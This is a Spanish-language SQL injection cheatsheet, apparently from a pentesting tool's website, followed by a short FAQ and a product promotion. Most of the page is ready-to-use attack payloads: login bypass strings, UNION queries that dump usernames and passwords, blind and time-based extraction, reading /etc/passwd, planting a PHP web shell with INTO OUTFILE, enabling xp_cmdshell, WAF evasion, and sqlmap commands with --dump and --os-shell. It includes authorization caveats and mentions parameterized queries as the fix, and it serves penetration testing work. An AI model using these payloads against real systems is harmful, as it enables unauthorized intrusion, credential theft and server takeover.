# Detección
Primero confirma que el parámetro es inyectable. Rompe la consulta y luego demuestra el control con lógica booleana.
'' OR '1'='1' AND '1'='21 OR 1=1 -- -1' ORDER BY 1-- - → ORDER BY 2, 3, ...-- - (¡espacio después!), # (MySQL), /* */ (inline). Codifica en URL # como %23.# Bypass de autenticación
Bypass de login clásico — comenta la verificación de contraseña o fuerza la cláusula WHERE a verdadero.
admin' -- -admin' #' OR 1=1 -- -' OR '1'='1' -- -') OR ('1'='1' -- -# Inyección UNION-based
Devuelve tus propios datos en la respuesta. Iguala el número de columnas, encuentra las reflejadas y luego extrae.
' UNION SELECT NULL-- - → NULL,NULL-- - → ...' UNION SELECT 1,2,3-- -' UNION SELECT NULL,version(),database()-- -' UNION SELECT table_name,NULL FROM information_schema.tables-- -' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -' UNION SELECT username,password FROM users-- -' UNION SELECT NULL,group_concat(username,0x3a,password) FROM users-- -# Inyección error-based
Filtra datos dentro de los mensajes de error cuando la app muestra los errores SQL.
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -' AND updatexml(1,concat(0x7e,(SELECT user())),1)-- -' AND 1=CONVERT(int,(SELECT @@version))-- -' AND 1=CAST((SELECT current_database()) AS int)-- -# Blind boolean-based
Sin salida ni errores — infiere los datos a partir de las diferencias verdadero/falso en la respuesta.
' AND 1=1-- - vs ' AND 1=2-- -' AND (SELECT SUBSTRING(version(),1,1))='8'-- -' AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users LIMIT 1)>77-- -' AND (SELECT COUNT(*) FROM users)>5-- -# Time-based ciega
Sin diferencia visible alguna — haz que el servidor pause cuando una condición es verdadera.
' AND SLEEP(5)-- -' AND IF((SELECT ASCII(SUBSTRING(password,1,1)) FROM users LIMIT 1)>77,SLEEP(3),0)-- -'; WAITFOR DELAY '0:0:5'-- -' AND (SELECT pg_sleep(5))-- -' AND 1=(SELECT 1 FROM (SELECT SLEEP(5))x)-- -# Sintaxis por SGBD
Lo esencial difiere según el SGBD. Haz fingerprint primero, luego usa las funciones correctas.
| Tarea | MySQL | MSSQL / PostgreSQL |
|---|---|---|
| Versión | version() | @@version / version() |
| Base actual | database() | DB_NAME() / current_database() |
| Usuario actual | user() | SYSTEM_USER / current_user |
| Concatenar | concat(a,b) / 0x3a | a+b / a||b |
| Comentario | -- - o # | -- - o /* */ |
| Sleep | SLEEP(5) | WAITFOR DELAY / pg_sleep(5) |
SELECT schema_name FROM information_schema.schemataSELECT name FROM master..sysdatabases# RCE & acceso a archivos
Escala del robo de datos a la lectura de archivos o ejecución de comandos cuando la config de la base lo permite.
' UNION SELECT LOAD_FILE('/etc/passwd')-- -' UNION SELECT '<?php system($_GET[c]);?>' INTO OUTFILE '/var/www/html/s.php'-- -'; EXEC xp_cmdshell 'whoami'-- -'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE-- -# Bypass WAF
Cuando un WAF bloquea los payloads obvios, ofusca. Muy dependiente del contexto — prueba combinaciones.
'/**/OR/**/1=1-- -' oR 1=1-- - / ' UnIoN SeLeCt ...%2527 / %2b / doble-URL-encodingUNIUNIONON SELSELECTECT' OR 1 LIKE 1-- - / ' OR 1 BETWEEN 0 AND 2-- -# Automatización con sqlmap
Automatiza la detección y la explotación. Ejecuta siempre solo contra objetivos autorizados.
sqlmap -u "http://site/page?id=1" --batchsqlmap -r request.txt --batchsqlmap -u URL --dbssqlmap -u URL -D shopdb --tablessqlmap -u URL -D shopdb -T users --dumpsqlmap -u URL --batch --level=5 --risk=3 --tamper=space2commentsqlmap -u URL --os-shell❓ FAQ Inyección SQL
Una vulnerabilidad web donde la entrada del usuario se concatena en una consulta SQL sin sanitización, permitiendo al atacante alterarla — para evadir auth, leer/modificar datos o a veces ejecutar comandos. Categoría Inyección del OWASP Top 10.
Inyecta una comilla simple ' y observa errores. Confirma con ' OR '1'='1 vs ' AND '1'='2 — respuestas distintas = inyectable. Para params numéricos, 1 OR 1=1 sin comillas. Solo en pruebas autorizadas.
In-band: UNION-based y error-based. Ciega: boolean-based y time-based. Out-of-band: exfil vía DNS/HTTP. Elige según la respuesta de la app.
Añade UNION SELECT para devolver tus datos en la salida. Encuentra el número de columnas (ORDER BY n), detecta las reflejadas y reemplázalas con datos (username/password/version()).
Cuando no hay salida ni error. Boolean-based lee las diferencias verdadero/falso; time-based usa SLEEP()/WAITFOR. Ambas extraen datos carácter a carácter — mejor con sqlmap.
sqlmap -u 'URL' --batch, o sqlmap -r request.txt para POST/auth. Luego --dbs, -D db --tables, -D db -T users --dump. Solo objetivos autorizados.
Comentarios inline (/**/), variación de mayúsculas, codificación URL/doble-URL, palabras clave anidadas, operadores alternativos. Los scripts tamper de sqlmap (--tamper=space2comment) automatizan muchos. Muy dependiente del contexto.
Las consultas parametrizadas (preparadas) son la corrección n°1 — la entrada nunca se concatena en el SQL. Añade cuentas de base con mínimo privilegio, listas blancas de entrada, un ORM y un WAF como defensa en profundidad. Nunca solo el escapado.
📚 Recursos relacionados
- Cheatsheet Burp Suite — Probar y automatizar la SQLi con Repeater e Intruder
- Cheatsheet Reverse Shell — Convierte un web shell SQLi en un reverse shell completo
- Cheatsheet de Pentesting completa — 200+ comandos para web, red, AD y privesc
- Glosario de Pentesting — SQLi, XSS, WAF, payload y 60+ términos clave definidos
Convierte tus hallazgos SQLi en un informe PDF profesional. La IA rellena CVE, CVSS y severidad.
¿Quieres los 12 020+ comandos?
Esta cheatsheet de inyección SQL es solo una rama del mapa. Pentest Mindmap organiza 12 020+ comandos en 34 categorías — de recon a post-explotación — con búsqueda instantánea y copia en un clic.
Empezar gratis →